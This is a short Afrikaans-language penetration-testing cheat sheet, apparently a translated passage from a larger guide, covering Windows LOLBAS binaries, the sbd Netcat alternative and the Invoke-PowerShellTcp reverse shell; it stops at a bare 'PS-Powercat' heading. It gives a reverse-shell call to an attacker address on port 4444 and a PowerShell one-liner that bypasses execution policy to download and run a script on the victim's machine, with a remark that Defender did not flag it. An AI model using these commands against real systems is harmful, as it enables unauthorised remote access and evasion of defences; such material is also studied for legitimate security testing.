Lolbas

Die bladsy lolbas-project.github.io is vir Windows soos https://gtfobins.github.io/ vir linux.
Dit is duidelik, daar is geen SUID lêers of sudo regte in Windows nie, maar dit is nuttig om te weet hoe sommige binaries (mis)bruik kan word om 'n soort onverwagte aksies uit te voer soos arbitraire kode uit te voer.

SBD

sbd is 'n draagbare en veilige Netcat alternatief. Dit werk op Unix-agtige stelsels en Win32. Met funksies soos sterk versleuteling, programuitvoering, aanpasbare bronpoorte, en deurlopende herverbinding, bied sbd 'n veelsydige oplossing vir TCP/IP kommunikasie. Vir Windows gebruikers kan die sbd.exe weergawe van die Kali Linux verspreiding as 'n betroubare vervanging vir Netcat gebruik word.

In die Skale gids, is daar 'n klomp verskillende skale. Om Invoke-PowerShellTcp.ps1 te aflaai en uit te voer, maak 'n kopie van die skrif en voeg by die einde van die lêer:

Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444

Begin om die skrip op 'n webbediener te bedien en voer dit aan die slagoffer se kant uit:

powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"

Defender detecteer dit nie as kwaadwillige kode nie (nog, 3/04/2019).

PS-Powercat
